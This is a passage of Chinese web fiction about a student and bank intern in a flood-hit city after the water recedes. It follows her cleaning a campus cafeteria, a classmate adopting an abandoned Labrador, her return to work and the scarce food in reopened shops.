随着水位的下降，积水浮力下降，外面的大船越来越少，反而时常能看到各种奇形怪状的自制“小船”，外出的人也越来越多。 周三的时候，宁市又经历了一波洪水，但是下游很快就泄洪了。 这次有了经验，市政不仅发了预警短信，还提前出动了直升机，用大喇叭广播洪水和泄洪的事，提醒市民不要外出，免得造成伤亡。 水面平静下来之后，水位快速下降，周五早上的时候，楼下的积水就只到小腿了。 就像之前新闻中专家预测的那样，雨停了，半个月左右积水就会退。 秦小薇那艘服役了十六天的充气船也可以退休进空间养老了。 可能是在建筑里关了太久，虽然积水还没完全退去，但很多人都出门了，街上虽然没几家店铺开门，但街上到处都是人，所有人脸上都带着灾难过后迎接新生的微笑。 秦小薇也出门了，翻了十几天窗户，她今天终于不用爬梯子了！ 她可以直接走楼梯！ 下楼的时候，她看到对面邻居家的保镖在拆二楼窗户口的梯子，秦小薇这才知道，原来窗户口那架比普通绳梯好爬的梯子，是对面邻居准备的。 也是！普通人看到暴雨预警后，想的都是准备食物、现金、充电宝……最多再买个便于收纳的充气船，怎么可能会专门为暴雨弄个只能用一次的梯子？ 街上的景象和暴雨前天差地别，一楼有些店铺的玻璃门在洪水的冲击下已经碎了，屋里到处都是淤泥，墙面已经看不出原本的颜色了。 还有些卷闸门在积水里泡了二十多天，锁已经锈住了，用钥匙根本打不开，店主强行把门撬开之后，屋里的积水瞬间冲了出来，直接把店主冲得摔倒在地上…… 但人们脸上并没有多少沮丧的表情，似乎所有人都相信，只要水退了，宁市的情况就会很快恢复正常。 秦小薇和其他人的想法差不多，她一直没有断网，时常会刷到国外的视频，知道国内外的情况差别有多大。 国外有些国家已经完全失去秩序了，饿死、淹死的人不计其数，水里到处都是尸体，为了生存，有些人还不得不直接饮用泡过尸体的水……但国内只是治安变差了些，而且国内几乎所有人都收到了能保证生存的免费食物。 除了暴雨那几天过得艰难一些，暴雨结束之后，普通人只要好好待在家里或是临时安置点，听从指挥，几乎没什么危险。 虽然官方并没有公布死亡数据，但秦小薇确信，国内的死亡人数肯定远低于国外。 她相信，只要水退了，市政的人腾出手来，解决治安问题也是分分钟的事。 水刚退，街上到处都是潮湿的水腥气，地上淤积的泥土还有些臭，气味并不好闻，因为有淤泥，秦小薇每次抬脚的时候都要用脚趾用力抓鞋，否则雨靴就会陷在淤泥和积水里拔不出来…… 这个时候外出实在不是什么明智的选择，连续两次差点穿着袜子踩在水里之后，秦小薇决定回家待着。 Q大需要休整的地方很多，大部分学生都在宿舍楼，刚好可以拉去干苦力，校领导把整个校区划分成了若干块，每个学院一块“任务区”。 中午积水退得差不多之后，秦小薇接到了室友的电话。 段霞：“薇薇，你下午来下学校，我们班分到了打扫三食堂，班长说导员到时候可能会来点名，不能缺勤。” 秦小薇：“行，几点开始？” 段霞：“班长让我们一点在三食堂门口集合。” 秦小薇：“行，那我吃完饭就过来！” 段霞：“对了，薇薇，你来的时候多带几个口罩，食堂现在挺臭的。” 秦小薇：“行。” 下午要干体力活，秦小薇中午就吃了些高热量的食物，培根披萨配牛奶。 空间里有很多面粉，这些天空闲的时间又多，她就自己在网上找教程折腾了一堆披萨饼皮冻在雪屋里。 饼皮的味道和外面卖的差不多，唯一美中不足的是，家里没有番茄酱，组装出来的披萨的味道差了些意思…… 外面的路不好走，秦小薇特地提前了二十分钟出发，地上到处都是淤泥，等她到食堂门口的时候，雨靴外面已经裹了一层厚厚的“泥浆”。 时间还没到一点，清扫工具还没送来，学生们三五成群地聚在食堂门口聊着些什么。 食堂的大门敞开着，秦小薇朝里面看了一眼，里面和外面一样，到处都是淤泥，原本固定在地上的桌椅已经看不出原本的颜色了。 想到他们今天得把这些淤泥清扫干净，干不完明天还得来接着干，她忍不住叹了口气。 “汪汪汪——”周围不知何时传来一阵狗叫声，秦小薇顺着声音看过去，看到一个“泥团子”从食堂边上的花坛里钻了出来，朝着她的方向狂奔而来。 等它停下了，秦小薇才从它的身形和嘴角晶莹的口水辨认出，这是裴欣弃养的那只拉布拉猪。 它怎么搞得这么脏？ “汪汪汪——”香肠蹲坐在秦小薇面前，尾巴疯狂甩着，扫飞了一大片淤泥，周围的学生怕被泥点子溅到，纷纷躲开了。 它的动作唤醒了秦小薇第一次偷吃炭烤培根的记忆，她的唇角忍不住抽了抽，外面这么臭，它都能闻着味过来？真是狗鼻子！ 秦小薇冲着它摆了摆手：“没吃的，你去别的地方玩吧！” 她确信拉布拉多听懂了她的话，因为它摇尾巴的频率一下子慢了很多，但它却没有走，一直蹲在原地盯着秦小薇。 知道它不咬人，秦小薇也不怕它，直接走去了另一边，但拉布拉多也跟着去了，蹲在离她一米远的地方，一副要不到吃的不罢休的表情。 正在一人一狗“对峙”的时候，秦小薇身后忽然传来一个低沉的男声：“一只耳？” 声音中带着犹疑。 这声音比某些专业的CV还好听，秦小薇忍不住回头看了一眼，身后是个穿着黄黑色夹克、黑色长裤和黑色战训靴的年轻男人，他头上戴着顶和夹克同色的鸭舌帽。 他长相帅气，五官凌厉，眉眼锋锐，不笑的时候很有压迫感，他比秦小薇还高半个头，正盯着秦小薇……面前的狗。 他盯着狗看了好一会，视线才转向秦小薇：“一只耳……这是你养的狗？” 他的表情看起来有点凶，秦小薇想到了香肠以往的“战绩”，以为拉布拉多又在外面闯祸了，他是来找麻烦的，连连摆手：“不是！是我们同楼层一个女生养的，现在已经被弃养了……” “弃养？”听到秦小薇的话，他的眉头皱了起来，眉宇间的压迫感更强了，“你确定？” 秦小薇：“具体我也不好说……但香肠确实是被弃养了！” “那我可以领养它吗？” 不等秦小薇回答，他就不顾拉布拉多满身污泥，伸手去揪它后脖颈的皮毛，却被香肠灵活地躲开了。 第33章 第33章领养（双更合一）…… 拉布拉多不仅不让他碰,还冲着男人龇了龇牙，一副再摸就攻击他的模样。 看到拉布拉多警惕的模样，男人一点都没生气,反而轻笑了一声,他笑起来之后,眉眼间的锋锐一下子消散了不少，显出了几分温柔。 竟然让秦小薇有种他在看自家闹脾气的小朋友的错觉。 男人再次伸手抓拉布拉多,这回他的速度快了很多,香肠被他直接拽着后脖颈提溜起来了。 “汪汪汪——嗷呜——”拉布拉多在他手里奋力挣扎着，那叫声十分凄惨,像是它马上就要被宰了下锅煮似的，它身上的淤泥沾了男人一身，他却丝毫不在意。 附近站了不少秦小薇的同班同学,她们班的女生都住一栋十二楼,经过快一个月的相处，她们对拉布拉多也算熟悉了。 虽然不喜欢它的吵闹，但见它在陌生人手里叫得这么“惨烈”,有个女生忍不住站出来为拉布拉多发声：“你是谁啊？怎么在我们学校抓狗？” 听到女生的质问，男人的动作顿了一下,他单手摁住还在挣扎的拉布拉多,空出一只手伸进裤子口袋里掏出了一本学生证，他的手刚刚抓过拉布拉多，原本干净的学生证上瞬间多了几个脏指印。 他把学生证递给离他最近的秦小薇：“这位同学说这只狗被弃养了,我想领养它，我叫陆昼，也是Q大的学生，不是狗贩子……” 秦小薇接过学生证打开看了一眼,证件照和本人长得一样，他确实是Q大的，计算机科学与技术专业，和她同一届，今年才二十一岁。 秦小薇忍不住多看了陆昼两眼，证件照上的他笑出了一口白牙，青春男大的感觉都快溢出来了，但现实中，他给人的压迫感却很强，像个久居上位的领导者……要不是他拿出了学生证，说他有三十岁秦小薇也会相信。 他身上的气质实在是太成熟了！ 看到他掏出来的学生证，女生脸上的敌意瞬间消散了，听他说要领养拉布拉多，还劝他：“同学，你要是想领养狗，我建议你去流浪动物救助中心看看，挑只性格好的，这只……性格真不行。” “真的，建议你换只狗领养，这只特别敏感，晚上有一点动静就疯狂叫……养了它你肯定会后悔的！”其余“拉布拉多受害者联盟”的女生也劝了起来。 陆昼摇了摇头，语气很坚定：“没事，我会驯狗，它很合我的眼缘，就它了！” 秦小薇看了眼浑身都是泥的拉布拉多，一点没发现它的魅力。 她把证件照还给陆昼，犹豫了一会，开口道：“你领养香肠前，要不要带着它去和原主人打声招呼？” 陆昼挑眉：“你不是说原主人已经弃养一……它了？” 秦小薇努力找借口：“话是这么说，但香肠现在还会回宿舍楼睡，你把狗带走了，总要和人家说一声……况且，你也不想让拉布拉多以为你是拐了它的狗贩子吧？” 其实她是担心裴欣事后反悔，来找她的麻烦，裴欣现在一下子经历了这么多打击，心态有所转变很正常，等她恢复了，说不定会后悔抛弃香肠…… 裴欣肚子里那个才几个月她可能没什么感情，但眼前这只，可是她一口口喂成拉布拉猪的。 而且她喂的还不是成品狗粮，而是必须自己动手做的鲜食。 秦小薇有时候自己给自己做饭都嫌麻烦，她能坚持给狗做这么久的饭，可见是真的喜欢。 现在在场这么多人都看到了，是她和陆昼说的，狗被弃养了，要是以后产生了纠纷要不回狗，裴欣说不定会来找她的麻烦……毕竟裴欣这人精神不太正常，做出什么事都有可能。 不知道是她的哪句话说动了他，陆昼点点头道：“原主人现在在哪？我去找她。” 秦小薇拿出手机，联系了一下裴欣的同班同学，之前暴雨困在宿舍和大家一起玩游戏的时候，她加了不少同楼层女生的联系方式。 片刻之后，她指了下马路对面的教学楼：“她们班负责六教的1003和1004，你现在可以过去找她。” 陆昼：“谢谢。” 说着，他就单手拎着拉布拉多的后脖颈，让它两条后腿着地，带着它朝六教走去。 “嗷呜——汪汪汪——” 拉布拉多叫得更大声了，还不断回头看食堂门口的人，似乎在朝她们求救…… 秦小薇：“……” 有个女生被这一幕弄得心软，小跑过去，主动冲着陆昼开口道：“同学，你不认识人，我陪你一起去吧！” 陆昼点点头，算是同意了。 这里离六教很近，来回也就一两分钟的路程，秦小薇想了想，决定跟过去看个热闹，班上不少女生也是同样的想法，也跟了过去。 陆昼像是不知道后面跟着人，提着香肠的后脖颈，脚步随意，一百二十斤的拉布拉猪在他手上毫无反抗之力。 中途他们路过路边停着的一辆吉普车，陆昼停了下来，从车里拿了背带和牵引绳。 他打开后备箱的时候，秦小薇远远扫了一眼，发现后备箱里还准备了狗笼子、狗粮、狗零食、罐头…… 准备这么齐全？秦小薇觉得有些奇怪，难道这个人今天是专门出来抓狗回去领养的？ 到了1003后，刚刚主动要求带路的女生帮忙把裴欣叫了出来，见裴欣出来了，陆昼放开了手里拎着的拉布拉多。 香肠摇着尾巴朝裴欣跑去，冲着她委屈地“呜呜”叫，似乎是在和她告状。 裴欣看上去比半个月前憔悴了许多，整个人瘦了一大圈，脸上的眼袋和黑眼圈都很明显，她眼神空洞，头发乱糟糟的，看上去没什么精神。 听到狗叫声后，她的眼神恢复了一丝光彩，但很快，那丝光彩就被恨意所取代。 看到拉布拉多冲着她撒娇，裴欣不仅没摸它，还踢了它一脚：“滚！别靠近我，尾巴抽人疼死了……” “呜——”拉布拉多的尾巴耷拉下来，声音更委屈了，虽然被踢了，香肠却没跑，它趴在离裴欣一米远的地方，一副想靠近又不敢靠近的模样。 裴欣的动作看得陆昼直皱眉，他大步走了过去：“这是你的狗？听说你不想养了，我想买它。” 裴欣低头看了会满脸委屈的拉布拉 多，摇了摇头：“我不要钱，你直接带走吧！” 陆昼把手上的背带和牵引绳递了过去：“那麻烦你把牵引绳给它套上，它有点抗拒我的接近。” “……好。”裴欣犹豫了一下，才接过陆昼手上的东西。 给拉布拉多套上背带和牵引绳后，裴欣主动把绳子的另一端递到陆昼手里，她低着头，低声说了句：“好好对它。” 陆昼回了一个“嗯”。 拉布拉多仰头看了会裴欣，又看了会陆昼，似乎还不明白发生了什么。 陆昼牵着浑身都是泥浆的香肠离开了六教，拉布拉多这回没有反抗，只是走两步就回头看一眼裴欣…… 陆昼离开后，秦小薇一行人也回了食堂，关在寝室这二十多天，裴欣和她的狗隔几天就有新八卦，大家都很关注他们，回去的路上，众人还在讨论这件事。 “唉，香肠被领养了也好，不用在外面翻垃圾流浪了……咱们晚上也能睡个好觉，这段时间真的太吵了！” “不是说要联系动物救助中心，把香肠送过去吗？” “早上有人打了电话，那边还不确定什么时候开始接收动物。” “……” “刚刚那个男生好帅啊！就是看着有点凶！” “我知道他，咱们学校的校草，之前他在运动场打篮球，每次都有很多女生围观，送水送情书……不过他和之前差别好大啊！我刚刚都没认出来……” “啊！我想起来了，是他啊！他去年是不是办休学了？我记得那段时间表白墙都快被他的名字刷屏了，他怎么会忽然回学校？休学结束了？” 众人聊着天，很快到了食堂门口，她们到的时候，范槿三人已经下来了，后勤也把打扫工具送过来了。 班长点名后，又拿了几张传单让他们互相传阅，才把工具给他们分了。 秦小薇看完传单才知道，原来暴雨后宁市死了不少流浪动物，它们的尸体直到今天早上才彻底浮出水面，这些尸体和淤泥、大量垃圾混在一起，可能会传播传染病，传单提醒他们在接触淤泥、处理垃圾的时候注意个人卫生，注意饮水安全，不要吃被水泡过的食物，就算是包装完好的也不行…… 传单上还详细介绍了预防传染病的各种办法。 秦小薇想到了之前和室友在水里碰到的那具女尸，觉得暴露出来的可能不止动物的尸体…… 她暗自决定，今天干完活回去，一定要换衣服消毒。 班长又和他们交代了他们班负责的区域，才让他们自己找活干。 秦小薇领了工具后，先把腰包里的口罩和一次性□□手套和室友们分了，才开始干活。 学校干活的人太多了，后勤的工具数量严重短缺，抹布和水桶都是他们自带的，1206的四个人只分到了两把不锈钢小铲子，大小和做煎饼果子的铲子差不多。 地上的淤泥用扫把扫不起来，必须得用铲子或是高压水枪之类的工具清理。 自来水还没有恢复，他们想用水，得拿着水桶去学校的人工湖取水，人工湖离食堂有些远，来回加上打水至少得花十分钟，非常不方便。 四人蹲在墙角，轮流用铲子把墙上的淤泥铲进垃圾桶里。 因为工具不好用，众人干活的速度非常慢。 铲了一个多小时，范槿有些烦了：“唉，食堂这么大，咱们今天能干得完吗？” 肖琳琳：“干不完还有周末两天呢！学校都把活分下来了，不干完肯定不行……” 段霞：“别抱怨了，导员来了……” 虽然水退了，但学校下周一就要开始上课，导员有很多事要忙，她只在食堂转了一圈，鼓励了大家几句就走了。 虽然学校安排了三个班的学生打扫食堂，但手上的工具不趁手，他们干了一个下午，只把食堂一、二楼的后厨和一楼大厅的部分区域清理出来了。 现在发电机依旧只给办公楼供电，太阳落山之后，班长就让他们散了，明天早上继续。 秦小薇摘掉一次性手套扔进垃圾桶里，她伸手锤了下有些酸痛的腰：“你们是回寝室啃饼干，还是去我那吃饭？冰箱里还有冬瓜和我们上次炒的肉酱……” 范槿伸手揽住她的脖子，一副和她哥俩好的模样：“薇薇，这还用选吗？有肉吃谁想啃饼干啊！咱们今天把后厨清理出来了，明天早上应该就能吃到食堂供应的早饭了，咱们今天把剩下的肉酱都吃了吧！晚上吃杂酱面怎么样？” 段霞：“别——还是省着点吃吧！现在超市、菜市场都没开门，食堂也不一定能买到菜，食堂估计也跟咱们一样，得等到周一才能复工……给周末留点肉吧！” 范槿叹了口气，妥协道：“行吧！那今天还是一人两勺肉酱拌饭？” 秦小薇：“两勺估计撑不到周末，一人一勺差不多……” 她们虽然买了一斤多肉，每次也只舀两勺肉酱拌饭，但她们有四个人，一次舀八勺，加起来分量也不少了，能坚持这么多顿，还是因为她们每次舀肉酱用的勺子都不大…… 范槿：“唉，肉怎么这么不禁吃？” 几人说笑着，朝秦小薇家的公寓走去。 在食堂干了一下午活，现在四个人身上都是一股淤泥的臭味，她们很想洗头洗澡，但秦小薇家没存多少水，自来水又没恢复供应，她们只能忍着，只用肥皂认真洗了手。 肖琳琳：“我怎么觉得水退了之后，咱们用水更不方便了？之前至少还能去楼下提水……” 秦小薇：“再忍两天吧！水电肯定会很快恢复供应，宁市这么多人，没水喝可不行！” 范槿突然站了起来：“薇薇，你们公寓楼下是不是有地下车库？” 秦小薇：“是有，怎么了？” 范槿熟门熟路地去浴室拿了塑料桶：“我去楼下看看能不能弄点水上来洗澡洗头……” 秦小薇：“你下楼的时候小心点，别摔倒了。” 几分钟后，范槿提着一桶有些浑浊的水上来了，她们手上有净水片，水混一点也没关系，放入净水片再静置半个小时，桶里的水就清澈了。 现在外面没有积水了，她们不用再担心晚上划船撞到东西掉进水里会有危险，便在秦小薇家排队洗了澡和头才打着手电筒回去。 可能是因为之前经理发在群里的消息一直没人回复，晚上的时候，秦小薇接到了经理的电话，提醒她周一按时上班。 秦小薇自然是连声应好。 晚上，她开着床头灯在公寓里一夜好梦，没再被噩梦惊醒。 早上起床后，她看了下年级群的消息，确定食堂今天不营业后，秦小薇自己做了份培根煎蛋配空间里的面包和牛奶。 公寓楼的保洁天刚亮就来上班了，她们一层层清理着电梯间里堆放了二十多天的垃圾，秦小薇下楼的时候，刚好碰到她们在打扫九楼的电梯间。 电梯间里的垃圾已经被清空了，一个保洁阿姨背着一个老式的手动喷雾器往电梯间里喷洒消毒剂消毒，等喷完了电梯间，她又转去了走廊，把走廊里也消了一遍毒。 那些垃圾堆在电梯间太久了，搬走之后，空气中依旧还有一股挥之不去的臭味，和消毒水的味道混合在一起，非常难闻。 感觉现在只要出门，鼻子就一定会遭受摧残…… 宁市的环卫工人昨天就已经复工了，为了尽快恢复宁市的交通，市政出动了各种环卫车和清扫车，还有些在家关了二十多天的普通市民，闲着没事，从家里拿了工具，主动帮忙清扫地上的淤泥…… 一夜过去，路面的情况已经比秦小薇昨天早上出门的时候好很多了，主干道干净了很多——虽然某些偏僻路段依旧有很多淤泥，但她今天至少不用担心走在路上的时候鞋子会陷在淤泥里拔不出来了。 几乎每条街上，都能听到巨大的机器轰鸣声。 地下停车场和某些地下建筑因为设计问题，有些并没有设计排水管道，还有些则是因为各种原因管道堵住了，积水排不出去，市政的抽水泵和抽水车清早就在各个路段兢兢业业地工作着…… 现在的宁市就像是一幅毁坏得很厉害的画，但普通人正在用他们的努力，一点点修复这幅被毁坏的画…… 秦小薇他们和其他两个班的同学干了一上午， 食堂才被打扫干净，1206的四人也都解放了。 干完活，刚好也是吃饭时间，范槿提议道：“咱们去商场逛逛吧！我想吃大餐，今天是周末，商场应该会开门吧？” 秦小薇住的公寓边上就一个大型商场，她回家也顺路，便没有拒绝。 但是很可惜，商场并没有开业，她们中午依旧只能在秦小薇家吃肉酱拌饭配清炒冬瓜，不过这也比学校的大部分人好了，他们中很多人现在还是只能啃能量饼干。 三个室友也是周一复工，她们暴雨之后就没回家了，虽然手机有电后，她们都试过和家里联系，但家里人的手机都没电，她们一直没联系上家里。 四个人里面，只有范槿是本地的，回家比较方便。 虽然她一直念叨着她妈催她找男朋友很烦，但联系不上家里人，她也有点担心，便打算坐网约车回去——现在平台上已经能打到网约车了，就是费用有点高，还要排很久队。 涨水那段时间她借秦小薇的船当船手赚了不少钱，也就不在乎这点打车钱了。 其余两人也想趁着周末回趟家，但交通还没恢复，火车站还关着门，她们只能等电力恢复后给家里打电话…… 秦小薇在这个世界唯一的亲戚就是原主的极品姑姑一家，她巴不得不联系他们，就没有这种烦恼了。 送走了三个室友后，秦小薇继续和她的毕业论文死磕。 唉，写论文也太难了，都折腾这么多天了，还没写完…… 不过也幸好有个“长假”，要是一边工作一边摆摊一边折腾毕业论文，她真的会被忙死。 周日她照旧在家里折腾毕业论文，下午的时候，家里的大门被社区的工作人员敲响了，对方给了她一张防疫传单和一瓶净水片。 和上次发物资包的时候不同，这回，社区的工作人员没有要她的身份证登记，也没有说她是Q大的只能在那边领物资之类的话。 传单上的内容和前天班长给她们看的差不多。 秦小薇忍不住在心里摇头，这片社区的工作人员的效率还是太低了！ 现在才发传单……外面的垃圾和淤泥都快处理完了！ 经过一个周末的休整，宁市的交通已经恢复得七七八八了，唯一的问题是，很多私家车暴雨前没有停到高处，它们在水里泡了很久，已经不能开了。 秦小薇第二天出门上班的时候，路上的车辆比以往少了很多——高架桥除外，有些人觉得高架桥足够高，暴雨期间把车停在上面很安全，但有些高架桥也被暴雨淹了，现在上面很多车都报废了。 那么多车一时半会也挪不走，堵得路上的司机只能绕路。 公寓附近没有共享电动车让秦小薇扫码，打车前面排队的人又太多，她最后是坐公交车去上班的。 很多公司企业都是今天复工，打车太贵，电动车充不了电，路上又没有共享单车和共享电动车，今天很多普通人都选择坐公交通勤。 凭着自己的大力气挤上车后，秦小薇有种被闷在沙丁鱼罐头里的感觉，车上基本上是人贴着人，就算不找东西扶着，也不会摔倒——因为车上的空间只够让他们双脚落地。 可能是因为“路况”不错，司机把车子开得飞快，车里的人不得不随着车子的拐弯加速减速，前后左右晃动。 她从没坐过这么挤的公交，周围人的口臭、很久没洗澡产生的体味和狐臭、混合着早餐乱七八糟的气味不断往她鼻孔里钻…… 虽然窗户开着，但车里的空气依旧十分稀薄，秦小薇甚至有点喘不上来气的感觉。 胃里的早饭不断翻涌着，秦小薇第一次知道，原来自己坐公交还会晕车。 晚上打不到车她就骑空间里的自行车回家，再挤几次公交，她真的会想辞职！ 本来就没多少钱，还得受这种罪，真的遭不住…… 第34章 第34章抢购（双更合一）…… 秦小薇提前一个站就开始准备下车,她用尽了所有的力气，往后车门的方向挤，才在车门关上之前,挤下了车。 下车后,她狠狠松了口气,再在车上待下去，她真的会吐在其他人身上…… 这趟车坐得太难受了。 秦小薇今天坐的这趟公交不能直达她工作的支行,下车后,她还得再步行九百多米。 早上等车花了些时间，时间已经快到八点了,秦小薇担心复工第一天会迟到，调整了一下斜挎包的位置，大步朝着支行的方向跑去。 行长周末就找人把银行收拾出来了,他们寄存在附近小区里的设备也都搬了回来,除了空气中有股潮湿的水腥气，支行的一切似乎都和暴雨前没什么区别。 但秦小薇知道，还是有区别的。 比如,原本的电线被水泡了之后就不能用了，会漏电,现在支行的电线都是周末现拉的,且只有大厅和几间办公室有电。 供电还没有恢复，银行只能靠着发电机供电，发电机的噪声吵得人心烦意乱。 不知是没联系上员工还是其他的原因,今天按时上班的职员不到之前的一半……有些同事的状态和之前差不多，甚至还长胖了一些，还有些同事则明显憔悴了许多，不到一个月的时间,他们似乎就老了好几岁。 电力还没有恢复，普通人对纸币的需求很高，为了满足市民们的需求，上面还下了文件，有些银行昨天就开始营业了，秦小薇工作的支行，算是复工比较晚的了。 早上很多人过来取钱，银行人手不够，上午秦小薇忙到连停下来喝口水的时间都没有。 好在今天运钞车没堵在路上，没出现银行无钱可取的事，否则，她和一干同事真的应付不来…… 因为家里的车被水泡了，坐公交不顺路，又打不到车，好几个同事都迟到了，直到九点多才赶来支行。 对于他们的迟到，经理看上去有些不高兴，但上午客户太多了，他也没发火，只让他们赶紧换衣服戴上工牌干活。 中午不少人都没回家，留在办公室吃饭，秦小薇观察了一下同事们带的午餐，有些人和她一样，吃的是市政发的能量饼干，还有些则是自己做的炒饭炒面……大家的午餐基本上都是碳水，很少能看到蔬菜和蛋白质。 很久没见面了，吃饭的时候，众人坐在一起交流着暴雨期间发生的事，抱怨着生活中遇到的麻烦…… “唉，我以为菜市场今天会开门，特地起了个大早去买菜，没想到根本没人出摊。” “你得去大超市！环湖路走到尽头的那家超市今天就开门了，我早上出门的时候看到好多人提着菜从超市里出来……” “天天吃社区发的东西，吃得我和我老婆都便秘了，之前涨水的时候，我俩就在家里喝她买的荷叶茶，要不然屎都拉不出来……” “我家倒是还好，有个邻居在顶楼种了不少菜，以前她吃不完就拿去卖，暴雨的时候出不了门，她家的菜就被楼里的人承包了，我家这些天倒是不缺蔬菜，就是肉太贵了，我昨天碰到一个骑着三轮车卖猪肉的，开口就是一百二一斤……我老公反手就打了举报电话举报他。” “周末这两天不是抓了很多恶意涨价的商家吗？还有人敢顶风作案呢！不过他们那种骑车的摊子也容易跑，打一枪换一个地方，宰到一个都是赚的！” “我也想在家里种菜，攻略我都做好了，等下班了就去买东西。” “……” 秦小薇周末的时候也关注了网上的新闻，知道市政现在腾出手来了，正在大力打击暴雨期间恶意哄抬物价的行为。 她刚开始看到新闻的时候还有些忐忑，毕竟她的爆米花也涨价了，还卖出去了不少。 但多看了几条新闻后，她就放心了，被抓的基本上都是十几倍几十倍涨价，把食物卖出“天价”的商家，像她这种只涨了1.5倍的，只能说是基于环境因素的适当调整价格。 虽然单看利润，她的爆米花生意确实是暴利。 “我这段时间一直待在临时安置点，那地方简直不是人住的，吃不好睡不好也没有娱乐活动……感觉他们就是把你关在那，保证你不死就行了！以后再碰到这样的事，我肯定不去了。” “呸呸呸！新闻上都说了，这场暴雨千年难遇，以后肯定不会再有了！” “……” 秦小薇在同事们的聊天声中，啃完了手上的能量饼干。 可能是因为建筑在水里泡久了，现在水退了，办公室里依旧阴冷冷、湿漉漉的，中央空调拆了以后还没安上，外面发电机的声音还特别大，根本午休不好。 秦小薇在办公室里待得很难受，啃完饼干，她就决定出去转转。 靠两条腿出行太不方便了，秦小薇找了条偏僻、无人、无监控的小巷进了空间，等她从小巷里出来的时候，她身边多了辆米黄色的自行车。 自行车的龙头上还固定着两个同色的小熊玩偶，非常可爱。 宁市的自行车不需要上牌照，就算颜色有些显眼，她拿出来骑也没什么。 自行车是系统升级赠送的“装饰”，没有锁，秦小薇便把电动三轮车上的锁薅了下来，暂时放在自行车上用。 她在附近转悠了一会，想到同事说附近有个大型超市今天开始营业，便准备过去看看。 超市确实开始营业了，但里面并没有多少顾客，秦小薇在里面转了一圈，就知道为什么了。 超市里，洗发水、牙膏、碗筷之类的日用品货架摆得满满的，但食品区、生鲜区已经被抢空了，连烂菜叶子都被超市的工作人员收走了，如果不是货架上挂着价格牌，秦小薇甚至会怀疑，超市是不是真的上过货。 食品区和生鲜区到处都是限购的海报，蔬菜水果每人每天限购两斤，肉类限购半斤，米面之类的主食也限购，每人每天只能买三斤，零食饮料倒是不限购，但也被抢空了。 看价格牌，和暴雨前相比，食物的价格上涨了一些，但是并没有涨太多，普通人还是能消费得起。 比如，猪肉的价格从十几涨到了二十多，蔬菜普遍涨了三五块，各种零食饮料也都涨了几毛几块钱。 和涨水的时候相比，算得上是非常便宜了！ 食物的种类也很齐全，单看价格牌，鸡、鸭、鱼、猪肉、牛肉、羊肉全都有…… 可能是因为供电还没恢复，冷冻冷藏区还是空着的，连冰箱都没搬回来。 现在超市里唯一还没卖完的食物，就是入口的地方堆成小山的能量饼干，五块钱一袋，一袋管饱一整天，每人每天限购两袋。 可能是因为大家前些天吃饼干吃伤了，能量饼干的销量似乎并不高。 这玩意秦小薇家里还有好多，她根本没兴趣。 但来都来了，她转了一圈，还是买了点卫生纸和调味料带回去。 冰箱里的冬瓜已经吃完了，空间里的蔬菜就只有胡萝卜，秦小薇决定，明天早上早点起来，去家附近的超市抢点蔬菜，虽然每人限购两斤，但也够她吃个两三天了。 买完了东西之后，秦小薇见时间还早，便准备去附近的建材店和五金店看看。 她前天就把阳台那套太阳能发电板搬空间里去了，和她预想的一样，发电板在空间里完全可以正常使用。 不过猎人小屋里的插线板不够长，她想自己拉线，在屋里布置几个插座。 还有家里的阳台，也得把泡发的墙皮铲了重新抹腻子…… 虽然今天不少企业和公司都开始复工了，但街上开门做生意的店铺依旧不多，她跟着手机导航跑了好几家店，只买到了一袋腻子粉。 宁市很多地方百废待兴，对建材和五金的需求很大，这类东西现在涨价涨得很厉害，基本上供不应求。 秦小薇打算等房租到期了就搬家，阳台的墙皮没修好房东可能会让她赔钱，这才高价买了一袋腻子粉。 她回到银行的时候，还没到两点，银行还没开始营业，秦小薇便在办公室里待了一会。 一个同事忽然凑到她身边，安慰似的拍了拍她的肩膀：“小秦，你师傅没了你也别太难过，生死有命，这也是没办法的事……” 秦小薇震惊地瞪大了眼睛：“李姐，你听谁说的？不可能吧！我上次见他的时候，他还好好的呢……” 实习生在银行实习，经理会安排人带他们，有时候同事调侃，就会说他们是“师徒”关系。 秦小薇分到的师傅是刘宏，因为她“不求上进”，每个月业绩都很差，她和刘宏的关系其实很一般。 但他毕竟也教了她不少东西，听说他人忽然就没了，秦小薇一时还有些接受不了…… 李姐：“你不知道？你师母中午来办了手续……听说是因为他们暴雨前囤了几百斤菜，自己吃不完，见网上物价那么高，就想把家里囤的菜卖了，赚点差价，没想到老刘出去以后就再没回来……警察昨天才通知家属去认领尸体，说是溺水淹死了。” “作孽啊！老刘的儿子还在读书，你师母身体又不好，以后可怎么办啊！” 秦小薇听得唏嘘不已，之前还好好的呢，没想到一场暴雨之后，人就没了……世事无常啊！ 秦小薇：“李姐，我师傅什么时候办葬礼？我想去祭拜一下。” 李姐：“你师母说已经过了头七，打算先把尸体火化了，等三七的时候再下葬，就是这周五……到时候一起去吧！毕竟这么多年的同事……” 秦小薇：“行，李姐，到时候我和你们一起去。” 下午依旧很忙，但银行没有延长营业时间，秦小薇七点多就下班了。 她下班的时候发现，自行车龙头上黏着的两个几厘米高的小熊玩偶被人剪了。 秦小薇：“……”她怎么总碰到小偷？ 白天忙了一天，她不想做晚饭，便决定去公寓边上的商场里觅食。 商场也弄了台发电机过来，早上就开始营业了，但秦小薇在里面转了一圈，最后只提了一杯奶茶出来。 可能是因为省内的交通还没完全恢复，商家弄不到足够的货源开店，商场里只有卖衣服饰品之类的店开张了，四楼五楼的饭店全都是关门的状态。 市政正在打击高价倒卖物资的行为，之前那些天价外卖店也都关门了。 点不到外卖，外面的店又没开门，秦小薇只能回家自己做饭。 她切了些虾肉和胡萝卜，炒了份胡萝卜丝炒虾仁，她懒得煮饭，便用工坊出产的面包当主食。 吃饭的时候，秦小薇打开了自己的私人手机，三个室友也是今天复工，因为停电，她们今天的工作不算顺利，范槿甚至还没下班。 【范槿：好饿啊！你们晚饭都吃了什么？】 【肖琳琳：回来晚了，食堂就只有能量饼干了。】 【段霞：能量饼干+1】 【范槿：唉，那我晚上不回寝室了，我家还有一条过年的时候剩下的咸鱼，回去吃饭还能沾点荤腥。】 学校食堂今天早上也开始营业了，和暴雨前不一样，现在食堂食物的种类非常少。 除了粥、炒饭、面条，就是能量饼干。 暴雨前种类丰富的炒菜、砂锅粉、盖浇饭、麻辣烫……一样都没有出现。 粥、炒饭、面条加了不同的配料，做了不同的口味，味道符合食堂的一贯水平，但架不住它们都是主食，而且里面的蔬菜和肉少得可怜。 对学校里那些素了快一个月，想要大口吃肉的学生来说，简直是晴天霹雳。 这些东西数量还有限，去晚了就只能刷卡买能量饼干。 